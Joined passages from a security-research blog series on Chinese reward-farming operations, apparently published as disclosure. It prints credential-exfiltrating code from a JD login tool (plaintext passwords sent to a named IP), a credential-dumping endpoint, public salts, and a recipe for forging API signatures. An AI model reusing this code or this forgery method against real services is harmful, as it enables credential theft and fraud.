signature = SHA256( path && sessionId && uuid && time && salt && tenantId )

• path is the URL with the query stripped, time is Date.now(), uuid is a random v4. All attacker known.
• salt is a short static string, and yup this is public, hardcoded identically in every farmer’s plaintext script. And here it is: FR*r!isE5W

The login signature is an HMAC-SHA256. This is the one that should have been a real secret, and it’s the one where the design gives itself away:

• The HMAC key is called signature_key, and the client doesn’t ship with it. Instead, the client asks for it: GET /web/init?client_id=<id> and the server hands the key back in the response. Every call to a fresh client_id gets served its own HMAC key on request.
• The password in the login body is encrypted, RSA-1024 under a hardcoded public key. But that’s transport encryption, so nobody on the wire can read the password. It’s not authentication, and it doesn’t stop the caller from forging the signature. Also RSA-1024 has been considered too weak for over a decade — NIST disallowed it for new keys after 2013 (see SP 800-131A), and current guidance is a minimum of 2048 bits. Not the load bearing bit of the story here, but a tell about how much thought went into any of this.

One honest caveat on the init-endpoint claim: I know the client calls /web/init before login, because that’s what the plaintext scripts do — it’s the bootstrap step that gets you the key you then need for the login signature. What I haven’t verified is that the endpoint accepts a request from an entirely fresh caller with no prior state at all. I never made that call. If it turns out to have some invisible gating (IP allowlist, referer check, an app-token cookie set by an earlier handshake I haven’t found), the forgery story tightens by exactly that much. My read is that it doesn’t, because the scripts don’t carry any such state and the flow makes no sense otherwise, but that’s an inference, not something I proved on the wire.

Put together: for any client_id, ask the init endpoint for the key, take the public salt, and you can forge every signature the campaign API expects. Nothing has to be compromised, the design hands you everything. The getParams/getBody code that produces these signatures is sitting in plaintext in every farmer’s script and it’s byte-identical across all five, so I’m confident it’s the real thing and not one operator’s misreading.

For completeness, here’s the rest of the fingerprint. aihoge layers a second SHA-256 salt on top of the base one for its member signature (/memberhy/tm/signature): KO>N<O5&3^L1#YH0H1#G91*2H. And the login-body RSA-1024 pubkey — the one that gives you transport encryption on the password but no authentication of the caller — is this:

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD6XO7e9YeAOs+cFqwa7ETJ
+WXizPqQeXv68i5vqw9pFREsrqiBTRcg7wB0RIp3rJkDpaeVJLsZqYm5TW7F
Wx/iOiXFc+zCPvaKZric2dXCw27EvlH5rq+zwIPDAJHGAfnn1nmQH7wR3PCa
tEIb8pz5GFlTHMlluw4ZYmnOwg+thwIDAQAB

None of these are secrets in any meaningful sense. They’re in five plaintext GitHub repos already, they’ve been there for months, and anyone who wanted them has already got them. Holding them here would only hide the shape of the problem from the people who need to see it — the vendors, the tenants embedding this SaaS, and anyone else running the same “public salt plus served key” design and wondering if it’s fine. It isn’t.

What gets farmed, and the cash-out

The campaign actions are mundane loyalty mechanics, automated end to end: read for points (with a hardcoded dwell time the script isn’t even pretending to read the article), like and share tasks, daily sign in, quiz/”study” completion, and the sweepstakes draw. Points and prizes convert to cash, paid straight to an Alipay account the script carries in its config (phone&password&支付宝姓名&支付宝账号).

The CAPTCHA in front of the draws is solved with ddddocr and the operators runs their own instance of it, which is a nice touch. The exact dwell constant, the slider-CAPTCHA bypass, and the point encryption trick are in the attack mechanics post (soon come).

State media, and a government quiz answered by an LLM

Everything above is broken engineering. Weimob has the same problem for coupon budgets. The reason to care about this one specifically is what sits behind the tenants. Two branches lift it out of “commercial fraud” and into something I think matters more.

Manufactured engagement on state content

The first branch is state media. The same account and content mechanics are as follows: read this article, stay N seconds, like, share, run against state media apps like Qingdao’s appnews.qingdaonews.com. The farming here isn’t just points theft. It’s manufactured engagement on state content, at whatever scale the operator wants.

Engagement metrics on state media aren’t just a vanity number like the reshares on my bsky posts. They feed a feedback loop that impact real decisions. Which story got promoted this week, which topic gets more resource next quarter, which framing an editor was rewarded for, which propaganda line “landed” and which one didn’t, what the population of that prefecture are interested in. Those decisions are made against numbers, and those numbers are supposed to represent what actual citizens actually read, and interact with.

If the top read article for a week is inflated by a Qinglong cron running a read_time=5938 GET against a headless news API, then the editors optimising to that column are optimising toward a bot’s taste in articles. The propaganda effectiveness read out is measuring the wrong population. The scripts don’t know or care what’s in the article. They just report having read it. Any decision made downstream of “which articles are performing” is now, in part, being made about scripts.

However while the scripts dont care, they can be made to care, if an operator wants to inflate particular articles they can, they can drive engagement towards something they care about, or bad publicity article of their competitor, etc.

This isn’t a hypothetical harm. It’s the harm the platform’s own metrics are supposed to prevent, and this one signing scheme lets any farmer with a client_id become a plausible reader at whatever scale they want.

The government reward program answered by an LLM

The second branch: Three qltrojan scripts target Beijing municipal social-services programs: 北京社服 96156, 北京社服活动, and 北京趣味多 (bjhb / bjsfcks / bjqwdcks env vars, sfapi.bjsfxh.com + qw-api.bjsfxh.com, prizes vended by ylapi.luckystarpay.com). These run civic education knowledge quizzes, questions about municipal services, community participation, that sorta thing, with a cash lottery entries as the reward for participation. The point of the program is to get citizens to learn the material.

The script does not learn the material. It reads the current question off the API, wraps it in one line, and asks an LLM for the answer. Then it submits the answer, moves to the next question, and at the end of the quiz it claims the lottery draw. Five exams per activity, twenty questions each, one letter back per question. The whole loop is around a hundred and fifty lines of Python.

The LLM is Xunfei Spark, iFlytek’s flagship model (spark-api-open.xf-yun.com) which is a Chinese national-champion AI product, some of whose corporate structure sits inside the state ecosystem, meaning that it might be trained on these quizzes themselves! The farmer’s script even points buyers at the official Spark signup portal in a comment on line 2, “get your own API key here.”

The system prompt is “你是知识渊博的助理” — “you are a knowledgeable assistant.” The user message is f"{question}；请给出答案，只要字母" — “give the answer, only the letter.” The model is set to "lite", the cheapest tier in the family. And because Spark sometimes wraps its answer in extra prose, the script backs itself with a regex:

match = re.search(r'[A-D]', result)

Grab the first uppercase A–D you see and submit it. The comment on the line above reads “使用正则表达式提取第一个大写字母，答题专用” — “use regex to extract the first uppercase letter, quiz-specific.” The operator wrote the helper and labelled it as the quiz-answering path.

So: a Chinese municipal civic-education reward program, whose whole point is teaching a bit of civic knowledge, is being answered by a cheap Chinese LLM operated by a state aligned AI vendor, for cash paid out of a lottery platform, on behalf of ten plus accounts per operator on cron. Nobody in that chain is doing what they think theyre doing. The program thinks it’s teaching residents. The AI vendor thinks it’s selling an assistant. The lottery platform thinks it’s rewarding engaged citizens. Only the farmer is being honest about what’s happening. Doing this to a government reward program in China is, and I say this carefully, a scary thing to do.

Where it stops

The honest limits, because they matter more here than usual.

Whether tmuyun and aihoge are one vendor, a license, or a shared white-label SDK is unknown.

The links from the sealed ev2 payloads (the DRM story from part 1 and part 2) into these civic providers are low-confidence. The one strong twin is ev2 yuecheng ↔ 今日越城, whose plaintext qltrojan client (YueCheng.js) is an exact match. I do not claim the other ev2 scripts run on these providers, and where I’ve named specific state-media outlets from filenames alone (xinhuamm, xiangshan, yongpai) those are guesses. yongpai in particular had its old endpoint inventory disproven once already; I’m being careful with it.

And the whole signing story is reconstructed from the farmers’ plaintext twin scripts. Not from an account, not from touching the live APIs. I never logged in, and the “the member data behind the campaigns” claim follows from the account APIs sharing the forgeable signing scheme — it’s an inference from the code, not something I exercised.

IOCs

SaaS fingerprint and hosts below. Salts, RSA pubkey, and field orders are all in the post — they’re already in five plaintext GitHub repos, and holding them here helps nobody. I’m still not shipping a turn-key signer, because “you can read the recipe” and “here’s a bag of pre-mixed ingredients pointed at production” are not the same thing.

• smallfawn is one of the more advanced actors in this whole scene: 152 repos, a 3,176-star script collection, and decode_action, the JS deobfuscator most of the ecosystem relies on. This post is about the product they sell that steals teh credentials from the people who buy it.
• They sell two “JD account and password login” tools to other reward farmers. One of them, JDLogin-Client, cannot log a victim into JD without first calling smallfawn’s own server, and it relays the harvested credentials straight back to them. They farm the farmers.
• The password harvesting server is at 8.141.174.247:3000. Every enrolled account’s JD username and plaintext password are sent there in a GET query string by the auto-renewal cron, three times a day (cron.js:54).
• Precise scope, because it matters: the interactive login path forwards the username only (express.js:41). The plaintext password reaches smallfawn through the cron job flow and through the default chat plugin, not on every login.
• The second tool, dingdingdang, does not phone home to smallfawn. Its problem is local: a plaintext credential store and a /get?k= endpoint that dumps every account and password to anyone holding one shared key, documented in the README as a feature.
• Collateral damage: a third party’s live secret is sitting in the tree. GAC Motor’s (广汽) WeChat AppSecret (f7b821...) was committed in 2024 and never removed, enough to mint WeChat OAuth tokens against GAC Motor’s own users.
• In fairness on timing: this tooling is dormant. JDLogin-Client, dingdingdang, and WoolWeb haven’t been touched since late 2024. smallfawn is still active in the scene, but development on these JD-login tools stopped then, and I did not probe the backend to confirm it still collects today.
• If you ran a 京东账密登录 / 路灯 / 鹿登 login bot, treat your JD password as compromised and rotate it now.

Terms in this post

If you landed here mid-series, a quick orientation. The hub has the full glossary.

• JD / 京东 is JD.com, one of China’s largest e commerce platforms. Think Amazon of China. This is what was targeted.
• CK / cookie is a captured app session credential. The unit reward-farmers trade and resell. How exactly they get these I think is another story.
• h5st is JD’s client side anti fraud request signature. You cannot complete a JD login without a valid one, and that is the lever this whole product turns on.
• AppID / AppSecret are a WeChat mini-program’s server credentials. The leaked GAC Motor pair is one of these.
• cron is a scheduled task runner. Here it is the thing that fires the password leak three times a day. The wool crew uses Qinglong as a web ui for this sort of thing.
• vm2 is a Node sandbox library. The version bundled in smallfawn’s tooling carries CVE-2023-29017, a known sandbox escape.

Background: the most capable person in the room

Most of the actors in this scene are copying each other. Same apps, same scripts, the odd file lifted word for word from the next account over. Same targets. smallfawn is the exception. Of their 152 repos, 130 are forks, but the 22 original ones are the load-bearing parts of the whole ecosystem: a 133-script farming collection (QLScriptPublic, 3,176 stars, every script CI-verified), a complete Go WeChat protocol server, and decode_action, the JavaScript deobfuscator with over 1,300 forks that half the scene uses to un hide each other’s scripts.

The person who wrote the tool everybody uses to make hidden code readable also runs a covert credential harvesting campaign. They are, by some distance, the most technically capable actor I found on the public GitHub accounts. That is exactly what makes the next part worth writing down.

They are not shy about the infra, either. Three of their chatbot plugins poll a printer over SNMP, watch a UPS over NUT (Network UPS Tools), and update Cloudflare DNS with IP changes. This is a person running physical, co-located infrastructure, not a kid with a free-tier VM.

One thing up front, so it does not get muddled with the last post: smallfawn has nothing to do with the wyourname wool DRM. Their scripts ship as plaintext, no loader, no C2-held key, no encryption to crack. Different operator, different model. They just happen to be in the same scene.

Two products, two trust models

smallfawn sells JD logins under “京东账密登录协议版本”, and the shop and demo hostnames are baked into the source: smshop.back1.idcfengye.com and smjd.back1.idcfengye.com. Neither is smallfawn’s own server: both are subdomains on idcfengye, a third-party reverse-tunnel (内网穿透) service in the Sunny-Ngrok family (run by 深圳猿类科技有限公司, filing 粤ICP备14050499号) — basically a Chinese ngrok-style service, one of several. smallfawn is just a tenant, so the hostnames only point at their box while their tunnel client is connected, which it wasn’t when I looked: either their tunnel was down, or this is dead infra.

The rest of this post is mostly about the first one. The second one is a real exposure, but it is just a shoddy code cleanlyness and defaults problem. The first one is a design.

Pillar A: JDLogin-Client routes credentials to smallfawn

You cannot log in without smallfawn’s server

server/config.json:3 ships with the real default already filled in:

{ "key": "卡密", "server": "http://8.141.174.247:3000", "cron": "0 25 20,23,2 * * *" }

The actual POST to JD.com (server/login.js:16-49) needs a pile of anti-fraud session parameters: guid, lsid, lstoken, verifytoken, the h5st signature, and the risk_jd bundle of eid, fp, token, jstub. None of that is generated on the buyer’s box. It is fetched from 8.141.174.247:3000 over /get (express.js:52, cron.js:59), and the license key (卡密) authenticates the buyer to that server (express.js:95-103). So the main anti fraud breaking software, is hidden behind smallfawn’s servers.

That is the lock. Without smallfawn’s server vending the h5st and risk tokens, the login cannot clear JD’s risk control, so it cannot complete at all. Every operator who buys this tool is wired into smallfawn’s infrastructure just to function. But note what actually has to cross their server: the username. The /get that vends the tokens is username-only (cron.js:59; the interactive /api/set is too, express.js:41). The password is never required to mint the anti-fraud tokens — the tool works fine with username-only vending — so its appearance in the cron /set (next section) isn’t a technical necessity. It’s harvesting.

The cron path leaks plaintext passwords, three times a day

server/cron.js:53-54 renews expired JD_COOKIEs on a schedule, and it does it like this:

async function getJDCookies(username, password, remark='无备注') {
    let { data: result } = await axios.get(config.server + '/set?key=' + config.key
        + '&username=' + username + '&password=' + password)   // -> 8.141.174.247:3000

The username and the plaintext password are read out of the local user.json (stored at login by login.js:54-60) and sent in the query string to 8.141.174.247:3000. The cron is 0 25 20,23,2 * * *, Asia/Shanghai, so this fires at 20:25, 23:25, and 02:25 every day, for every account the operator has enrolled. Not the cookie. The phone number and the password, in cleartext, in a URL. I think the timing on these things must have something to do with how long the tokens are valid for after minting them.

The default chat plugin sends end-user creds to smallfawn’s demo host

There is a third path, and it is the one that reaches all the way down to the end user. The shipped chat plugin, ludeng.js (路灯, “street lamp,” the bot trigger users type), defaults its API host to smallfawn’s demo box:

let YourSMJDAPIUrl = 'http://smjd.back1.idcfengye.com'   // smallfawn's host, the default
...
await axios.get(YourSMJDAPIUrl + '/api/get?username=' + ... + '&password=' + encodeURIComponent(password) + ...)

Unless the operator edits that line, every user who types their JD phone and password into the bot sends both, in the clear, straight to smjd.back1.idcfengye.com. I am guessing most operators will not edit it. It works out of the box, which is the point. Also it seems that a lot of the wool community just relies on others creating good scripts, and they may not even read them, if they did this sort of thing would not fly.

Pillar B: dingdingdang keeps it local, and leaves the door open

The second product is fairer to smallfawn as this does not appear to have malicious intent, but still bad for everyone who runs it.

dingdingdang logs in with a local headless Chromium browser (login.py), and its plugins default to 127.0.0.1:12345 (GoDongGoCar_update.js:4, sillygirl.js:12 these names are fun). There is no 8.141.174.247 in the loop. It does not phone home to smallfawn. I want to be clear about that, because when I first saw this I just assumed that this was in the same class as the jd.com credential theft, however that was lazy of me. I dont want you to make the same mistake as me. Trust your intuition, but always validate.

What it does instead is keep a plaintext credential store and then publish a key to it. docker/api.py:169-185 writes each account to a volume-mounted data.json:

account_data = { "account": ..., "password": workList[uid].password, "ptpin": ..., "remarks": ..., "wxpusherUid": "" }

password is plaintext. And docker/api.py:289-305 hands the whole file back to anyone with one shared key:

@app.route("/get")
async def get_data():
    if request.args.get("k") == config["key"]:
        return jsonify(load_from_file("data.json"))   # the entire plaintext store

One key, no rate limit, no per-user scoping. Guess or leak the key once and you have every enrolled account, password, and ptpin in the store. This is not a bug they overlooked. The README lists it as a feature: 获取账密 备注 ptpin信息 /get?k=密钥, “fetch account-password, remarks, and ptpin info.” The recommendation is a 16-character key “to protect your account and password information.” There is no server-side enforcement of that, of course.

The git history that proves the server is real

A skeptical reader should be asking whether 8.141.174.247:3000 is a real backend or a placeholder somebody forgot to fill in. The git history settles it, and it does so because smallfawn made the same mistake everyone in this scene makes.

The first commit of JDLogin-Client, 9df41a2 on 10 November 2024, shipped config.json with a real license key in place:

{ "key": "HASL1", "server": "http://8.141.174.247:3000" }

The next day, commit e98c5aa, both were scrubbed to placeholders (KEY, APIURL). The day after that, commit fd5c0df, the server address was quietly added back while the key stayed as 卡密 (Access Code). You do not scrub, then re-add a placeholder. HASL1 was a working shared secret that sat in public for about a day, and the IP it sat next to is the real backend.

That scrub is also a preview of the next post in this series. Everyone here scrubs git history, smallfawn, qltrojan, leafTheFish, all of them, usually with the same orphan branch trick (I will write up how this works at some point). The scrub is meant to remove the evidence. More often it marks exactly where the evidence was. Also things can be missed when doing this.

Collateral: a third party’s WeChat keys

The blast radius is not limited to JD. While reading the WoolWeb panel I found server/data_gac.json, committed once on 9 October 2024 (783550a) and never touched again. It holds a live credential set for a company that has nothing to do with any of this: GAC Motor (广汽), the car manufacturer.

• WeChat AppID wx55d651b24ca783fa
• WeChat AppSecret f7b821... (redacted here)
• a full accessToken and sdkTicket, both now stale

The tokens expire. The AppSecret does not. As long as it stands, anyone who can read this file can mint fresh WeChat OAuth tokens against GAC Motor’s mini program and impersonate the users who authenticated through it. That is a clean third-party disclosure item, unrelated to the JD pipeline, sitting in a public repo since 2024.

The wider arsenal

This is not the whole operation, it is one corner of it. A quick look at the rest, because each one rounds out the picture of what this operator can do.

• docker-wx is a complete Go implementation of the WeChat iPad protocol, 145 API endpoints, bundled with the 855协议.zip protocol source and stamped 仅限集团内部使用,请勿对外, “internal use only, do not expose.” It is a full WeChat account-takeover server.
• rs-reverse is a 26 MB, 3,450-file framework for bypassing Ruishu (瑞数), the VMP (Virtual Machine Protection) based bot detection that guards China Telecom and a lot of banks. This is professional reverse engineering work.
• XianYuApis reverses the full Goofish (闲鱼) marketplace API and bolts a WebSocket auto-reply bot onto it, so farmed goods can be listed and haggled over at scale with no human in the loop.
• VirtualApp is the device ID rotation layer: run many instances of one app, each with a different fake device fingerprint, to beat the single-device limits farming runs into. Think of this as using a tonne of valid user agents.
• decode_action, the deobfuscator the whole scene depends on, ships vm2@^3.9.11 as a dependency, and that version carries CVE-2023-29017, a sandbox escape. The directional risk is real: run decode_action on a malicious obfuscated script and that escape is in play — the deobfuscator the whole scene trusts is itself an attack surface. I’m not asserting smallfawn did this on purpose; the exposure stands either way.

The basic flow: reverse the protections, sign the requests, rotate the devices, automate the chat, sell the goods. That is an integrated fraud platform, and the JD login tool is the part that also taxes its own users.

The limits of my engagement, and this report.

The honest limits, because they matter more here than usual.

All of this code has been dormant since 2024, smallfawn is still active in the scene, but work on these tools stopped at the end of 2024.

Everything above is read out of public source at file and line. I did not send anything to 8.141.174.247:3000, I did not probe it, and I did not watch a single packet leave a real install. Naming a sink is not the same as poking it, and I stayed on the safe side of that line. The claim “smallfawn receives the credentials” is an inference from explicit code paths, the GET to their server is right there in cron.js:54, but I am inferring the server stores what it is handed, not proving it from traffic.

And I do not know who smallfawn is. The handle, the repos, the QQ group, the shop, those are real and public. The person behind them is unconfirmed, and this post does not try to change that. I am reporting a mechanism and a sink, not a name.

Disclosure

This one has real victims and a credential sink, so it went to the vendors first: reported to JD.com and GAC Motor on 24 June 2026, ahead of publication.

• JD.com security. 8.141.174.247:3000 is a credential relay tied to automation against plogin.m.jd.com/cgi-bin/mm/domlogin. The abuse primitive worth their attention is the h5st and risk-token vending, that is the thing that lets a third party clear JD’s risk control on behalf of a paying operator base.
• GAC Motor (广汽). Rotate WeChat AppSecret f7b821.... It has been public in WoolWeb/server/data_gac.json since October 2024 and is enough to impersonate their WeChat users.
• End users. Anyone who used a 京东账密登录, 路灯, or 鹿登 login bot should treat their JD password as compromised and rotate it.

IOCs

The GAC AppSecret is redacted until it is confirmed rotated. Everything else is smallfawn’s own infrastructure.

• A friend’s grep.app link and a hunt for leaked password prefixes turned one 292-star GitHub repo (985Ming/qlk) into a map of a Chinese reward-farming (薅羊毛) underground: 16 actors, 26 repos, 60+ targeted platforms.
• Reward farming here means running scripts on a schedule, via Qinglong (a cron-job webui), to drain loyalty points, coupons, and lottery payouts from apps, then cashing out on Xianyu or Pinduoduo.
• It runs like a supply chain: operators write the scripts, one operator (wyourname) rents out script DRM to protect them, shared plumbing (NiuPanel, obfuscators, OCR, device-ID pools) hides the bots, and a WXPusher ping tells the operator when money lands.
• The targets are broad: music, video, novels, telecom, and banks, plus civic and government apps and state media.
• The ugly part: in at least one case the tooling robs its own users. smallfawn sells a JD.com login tool wired to exfiltrate the buyer’s logins, plaintext passwords included, to a server they control.
• Where it stops: the modern scripts are sealed behind wyourname’s C2, which is dark (404s, status: false). I mapped 49 of them and decrypted none. Everything I cracked is the older, weaker tier.
• All read-only. I didn’t farm an account or log into anything, and anything live went to the vendors first.

How it all started:

Recently a friend shared a link to grep.app, a super fast GitHub search tool. I started hunting for known password and API key prefixes. One of them landed me on this repo: https://github.com/985Ming/qlk.

This is a repo of ~99 obfuscated python and js scripts, with the description:

Original Chinese:

青龙脚本库 2025年新本；脚本q群1025838653

English translation:

Qinglong Script Library – New scripts for 2025; Script QQ Group: 1025838653

This really piqued my interest, what on earth have I just stumbled upon (rip StumbleUpon 2002 - 2018)

Well after cloning the whole repo I realised that I couldn’t read or understand any of it, so now I have to, there goes my weekend.

What on earth is Qinglong?

This was about all I had to go off to figure out what was going on. Turns out this is a program used by wool farmers to run scripts on a regular basis. Think of this like a webui for cron jobs: https://github.com/whyour/qinglong

This is a common tool for people who do “wool”, or reward farming in English. They run Qinglong as their orchestration server. Submit a script, set a cadence, and it fires. qlk was a pile of exactly those scripts.

This turns out to be a full on ecosystem of rewards farming -> monetization -> cashout chains.

The 黑灰产 or black/grey industry of 薅羊毛

Where there is money to be made, someone will find a way to exploit it. I went in expecting a few people swapping scripts. I came out the other side with 16 actors, 26 repos, and 60+ targeted platforms.

As part of this there is an entire structure that is built around this, and the more I pulled on the thread the less it looked like a few people swapping scripts and the more it looked like an actual supply chain. Roughly, it stacks up like this:

• The operators — the people writing and running the scripts. Two camps: the reward farmers (985Ming, xxwppp, KingJin, smallfawn and friends) going after Chinese loyalty and points programs, and a separate crowd cracking iOS in-app purchases (MCdasheng, Yu9191). Different targets, same playbook.
• A protection layer (protecting the scripts) — qlk’s own obfuscation came apart easily, and that turned out to be the easy tier. One operator, wyourname, runs the industrial version: DRM as a service, encrypted .so loaders plus a C2 server that hands out the decryption key per machine. The other authors rent it so their scripts can’t just be lifted straight off GitHub. That tier is the one that actually stopped me. At least this is what I think is happening.
• The plumbing — Qinglong to run everything, plus a from-scratch clone called NiuPanel, obfuscators to hide the scripts, a shared deobfuscator to unhide them, OCR services to solve CAPTCHAs, and shared device-ID pools so every bot looks like a real phone.
• The targets — those 60+ platforms. Music, video, novels, telecom, banks… and more uncomfortably, civic and government apps and even state media.
• Cashout — points become vouchers become cash, resold on Xianyu or Pinduoduo, or lottery wins paid straight out to Alipay.

The whole thing is really just one pipeline: the scripts -> Qinglong runs them on a schedule -> they hammer the target apps -> points and coupons -> resold or cashed out -> a WXPusher notification pings the operator to say the money landed. Distribution sits over the top of all of it: GitHub, Telegram, QQ groups, and a marketplace at script.345yun.cn.

And here’s the bit that made me really worried, and realised that this really is not just some skids: in at least one case the tooling steals from the people using it. One of the most capable operators, smallfawn, sells a JD.com login tool to other farmers that’s quietly wired to send the harvested logins, plaintext passwords included, three times a day back to a server they control. They are, quite literally, farming the farmers.

I should be straight up about where this all ends, because it’s the part that’s most of the work and least of the fun: the modern scripts are sealed behind that wyourname C2, and the key server is effectively dark, it 404s, and a status: false flag gates the handout. And even getting that far, the loader geolocates you and POSTs a fingerprint of your machine to a box in Shanghai first, so I’d be handing my own setup straight to them. So I mapped 49 of them and decrypted exactly… none. Everything I did manage to crack is the older, weaker tier.

Over the next few posts I’ll pull each layer apart, so stay tuned for:

1. The DRM, part 1: wyourname’s old Cython loader, and how I reversed it end to end. The key was baked into the binary, so it protected nothing.
2. The DRM, part 2: the current Rust tier, where the key lives on a C2 and never on your machine, and how far I got without ever breaking it.
3. Farming the farmers: smallfawn’s JD.com login tool, quietly wired to rob the people who buy it.
4. The civic angle: how government, civic, and state-media apps got dragged into all this.
5. The attack mechanics: the handful of tricks that show up again and again across 60+ platforms.
6. The cast: the 16 actors, and how I mapped the whole bloody thing from one random repo.

All of it was read-only, I didn’t farm a single account or log into anything, and anything live went to the vendors first.

• Recap: wyourname/wool is the script-DRM repo a big slice of the Chinese reward-farming (薅羊毛) scene rents to seal their fraud scripts. The old Cython tier baked its key into the binary, so I cracked it. That was the previous post.
• The current tier is Rust (loader_v2, common, component) doing AES-CBC. The key is never in the binary: common fetches it per machine from a C2 and loader_v2 decrypts with it.
• I did not crack one ev2 payload, and that is the design working as intended.
• Score: 49 ev2 scripts mapped, 0 decrypted. The crypto is ordinary, the wall is where the key lives.
• The C2 is 1.94.146.238:8099 (Huawei Cloud, Shanghai) with a doudoudou.top backup. It currently 404s and control.json carries status: false, but the binaries were still updated in June 2026, so someone is still running it.
• Everything I say about what the sealed scripts do is inference, not extraction. All read-only, nothing farmed, nothing logged into.

Recap: the loader I cracked

A quick recap if you skipped the first post. wool is a zero-star GitHub repo that does one job, script DRM, and a large part of the Chinese reward-farming scene rents it to seal their fraud scripts. The repo ships four loaders. The old one is a Cython module running a hand-ported JavaScript DES, and I reversed it end to end, because the key was baked into the binary. Recover that key once and every payload the loader ever sealed falls open.

This post is about the other three, the ones written in Rust. They are the tier the operator built after deciding the baked-in key was the mistake, which it was… The cipher is no harder. The key just stopped living on your machine.

Track B: The Great Rust Wall (ev2)

I found Track B by accident. With the DES loader working, I started feeding it every encrypted file in the repo thinking I had hit the jackpot, and most decrypted fine. Then a whole folder, encrypted_files_v2, threw json.JSONDecodeError on every single file. The DES loader was trying to parse them as something they weren’t and giving up the ghost. These were not DES payloads. They were a different format altogether, for a different loader. That is when it clicked: two generations of this thing, not one. Hence the different .so files!

The newer generation is Rust. loader_v2 (827 KB) and component (8.2 MB) are both Rust compiled to native code, and where the Cython loader handed me everything, these kept their secrets. So I’ll say it up front: I did not get through this tier. I can map it, fingerprint the format, and name most moving parts. But I never decrypted a single ev2 payload. That is by design, and the design is good, well its good against offline attacks.

How do I know it’s Rust if it’s stripped? Because Rust has a few tell tale signs. It bakes the source path of every panic site into the binary, including the full path of every crate it pulled from the build machine’s cargo registry, versions and all. The operator’s function names are gone, but the dependency tree is sitting in strings: pyo3 (a Python extension written in Rust), tokio (async), flate2 (gzip), and in loader_v2, zeroize next to a src/utils/crypto.rs doing block-cipher work. No more JavaScript DES :(. This is the real thing.

The split across the binaries is the clever part. loader_v2 exposes one Python method, _decrypt(eb), that takes an encrypted bundle and does the whole job inside Rust: custom Base64, AES-CBC, gzip, marshal, run. Unlike Track A’s get_key(), nothing hands you the key. It never leaves Rust memory, and zeroize wipes it after use. It’s also machine-bound: sysinfo reads /proc/cpuinfo and friends so a bundle is tied to the hardware it was provisioned for. And the key does not live in the binary at all. It comes from the operators C2 server.

That server is in control.json, in the root of the repo:

{"message":"已更新","status":false,
 "url1":"Hw0bBUhBTlxLTk1BREZYT19WT0NXRUtXTg==",
 "url2":"Hw0bBUhBTgwVHlcLGgcKDhgBGAxBAR0eTg==","version":1.07}

The URLs are base64 over a fixed key XOR, and the key is wyourname, the author’s own username:

>>> import base64
>>> def dexor(s, key=b"wyourname"):
...     raw = base64.b64decode(s)
...     return bytes(c ^ key[i % len(key)] for i, c in enumerate(raw))
...
>>> dexor("Hw0bBUhBTlxLTk1BREZYT19WT0NXRUtXTg==")
b'http://1.94.146.238:8099/'
>>> dexor("Hw0bBUhBTgwVHlcLGgcKDhgBGAxBAR0eTg==")
b'http://api.doudoudou.top/'

The primary on a Huawei Cloud box in Shanghai, and a backup on doudoudou.top. The third Rust binary, common (3.2 MB), is the client that talks to it: reqwest and rustls in its crate list, it fingerprints the machine, POSTs to that C2 over HTTP, and gets back the per script key, which it feeds to loader_v2 to do the decrypt. So the work is split three ways: common fetches the key, loader_v2 uses it, and the operator’s server is the only place the key ever sits in the clear.

That is the whole design, and it is the part Track A got wrong. Track A baked the key into the loader the key was in the same draw as the lock, so recovering it once broke everything. Track B leaves the locked payloads public, on GitHub’s CDN where there is nothing to take down since the scripts are not readable at all, and keeps the keys on a server it controls. You can clone every ev2 file in the repo. Without the C2, they are noise. Though I do wonder I could brute force them somehow… Spoiler: You can’t. With standard AES-CBC and zero key leaks in the binary, the keyspace is a computational brick wall.

component.so: the heavy runtime

loader_v2 is the light tier. component.so is the other one, and it is a different animal: 8.2 MB, built on a statically-linked OpenSSL instead of Rust’s rustls, with its symbol table left in. Among its strings, XOR’d with wyourname again, is a client-key path:

/etc/ssl/private/UAP_reload_ca.key

I have to be careful here, because this is where I start reading tea leaves. I never watched component talk to anything, the C2 is dark, so the mutual-TLS story is inferred from that one string, not seen on the wire. But it’s a loud string. A binary that statically links the whole OpenSSL stack and reaches for a CA private key at a fixed path is almost certainly doing client-certificate auth: a server that won’t open the door unless you present a cert it issued.

Which raises a question I can’t fully answer: how does that key get onto the box? component reads the path, it doesn’t write it, and it ships no certificate of its own. So something else has to drop the key at install time, which means these instances aren’t generic, they’re provisioned. Whatever sets a subscriber up hands them a client cert tied to the operator’s CA. I never caught that step happening, so the mechanism is a gap, but the shape is clear enough: this tier expects a tailored, pre-seeded box, not a fresh pip install. I guess maybe this comes from Qinglong?

It doesn’t stop there. component enumerates every single network interface and reads the MAC addresses (getifaddrs), binding the license to physical hardware, not just an OS install. And it can update and delete itself:

New version available! Please update.
No wyourname.so file found in the current path.

When the C2 signals a new version, the binary deletes itself and pulls the replacement, so the operator can push fresh code to every install silently by bumping a counter. The whole thing is hardened like commercial DRM, because that is basically exactly what it is.

One fun detail is where the operator talking back. Among those same XOR’d strings, decoded with the same wyourname key:

Whatareyoulookingat

Which is a fair question to leave for whoever is doing exactly what I was doing.

What the sealed files give up anyway

I couldn’t read the ev2 payloads, but I didn’t leave them alone, and an encrypted file is rarely as opaque as it looks. Strip off the outer func_mod::xor layer (a reversible byte-to-printable transform, with no secret in it) and the structure is right there. Every file opens with the same 12-character magic, |(LTm_R7mUd@, and the first 86 bytes are byte-for-byte identical across all 192 files I pulled: that magic plus a first instruction that is always the same gzip header. The plaintext is gzipped bytecode, and the format barely bothers to hide that much.

The binary claimed AES. The format confirmed it, and told me something odder besides: this isn’t one big encrypted blob. It’s a stream of small structured records, one per bytecode instruction, each sitting between >TZK> delimiters with its encrypted bytes in the middle. Run an autocorrelation over a file and there’s a clean spike at a 64-character period: 16 bytes, one AES-CBC block. So each instruction is encrypted on its own, a block at a time. The operator didn’t encrypt a file, they built a custom per-instruction container and AES’d the contents one record at a time.

+----------------+-----------------------+----------------+-----------------+
| >TZK>          | AES-CBC ciphertext    | >5@K>zNZuqYvC~ | opcode argument |
| frame delim    | 16 bytes (one block)  | inner delim    | 2 chars, clear  |
+----------------+-----------------------+----------------+-----------------+

One record, repeated once per instruction. The file opens with the 12-char magic |(LTm_R7mUd@ once. In the file each ciphertext byte is written as four ASCII characters and the delimiters are literal, so that 16-byte block is 64 characters on disk; longer instructions chain more blocks.

